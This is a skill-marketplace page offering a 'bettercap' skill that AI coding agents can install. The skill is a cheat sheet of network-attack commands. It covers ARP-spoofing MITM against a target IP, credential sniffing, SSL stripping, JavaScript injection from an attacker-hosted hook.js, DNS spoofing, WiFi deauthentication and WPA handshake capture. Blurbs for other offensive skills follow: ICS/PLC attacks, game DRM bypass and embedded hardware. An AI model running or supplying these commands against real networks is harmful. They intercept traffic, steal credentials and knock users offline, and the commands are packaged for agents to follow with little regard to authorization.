offensive-tools/network/bettercap/SKILL.md
Bettercap: Swiss Army knife for WiFi, Bluetooth, HID, and Ethernet network attacks including ARP spoofing, MITM, traffic sniffing, and credential harvesting. Use when performing LAN MITM, WiFi deauth/probe attacks, BLE reconnaissance, or HTTPS SSL stripping.
npx skillsauth add aeondave/malskill bettercapInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Network attack Swiss Army knife: MITM, sniff, spoof.
sudo bettercap -iface eth0
sudo bettercap -iface eth0 -caplet http-ui
| Command | Purpose |
|---------|---------|
| net.probe on | Discover LAN hosts |
| net.show | List discovered hosts |
| arp.spoof on | Enable ARP spoofing MITM |
| set arp.spoof.targets <ip> | Limit MITM to target |
| net.sniff on | Capture credentials/traffic |
| https.proxy on | HTTPS with SSL strip |
| wifi.recon on | WiFi AP/client discovery |
| wifi.deauth <mac> | Deauthenticate client |
| ble.recon on | BLE device scan |
sudo bettercap -iface eth0
net.probe on
set arp.spoof.duplex true
set arp.spoof.targets 192.168.1.50
arp.spoof on
net.sniff on
set https.proxy.sslstrip true
set arp.spoof.targets 192.168.1.50
arp.spoof on
https.proxy on
net.sniff on
HSTS-protected sites resist SSL strip. Works on non-HSTS HTTPS or HTTP→HTTPS redirects.
set http.proxy.injectjs http://YOUR_IP:3000/hook.js
set arp.spoof.targets 192.168.1.50
arp.spoof on
http.proxy on
set dns.spoof.domains target.com,*.target.com
set dns.spoof.address YOUR_IP
dns.spoof on
arp.spoof on
# Discover APs and clients
sudo bettercap -iface wlan0
wifi.recon on
wifi.show
# Deauth a client
wifi.deauth <client_mac>
# Deauth all clients from an AP
wifi.deauth <bssid>
# WPA handshake capture (deauth forces reconnect)
set wifi.recon.channel 6
wifi.deauth <bssid>
# Handshakes saved to: /tmp/bettercap-wifi-handshakes.pcap
# Run built-in caplet
sudo bettercap -iface eth0 -caplet http-ui
sudo bettercap -iface eth0 -caplet https-ui
sudo bettercap -iface eth0 -caplet mitm6 # IPv6 MITM
# Custom caplet file (commands, one per line)
sudo bettercap -iface eth0 -caplet my_attack.cap
| File | When to load |
|------|--------------|
| references/modules.md | Full module list, caplet syntax, filter patterns, WiFi attack chains |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.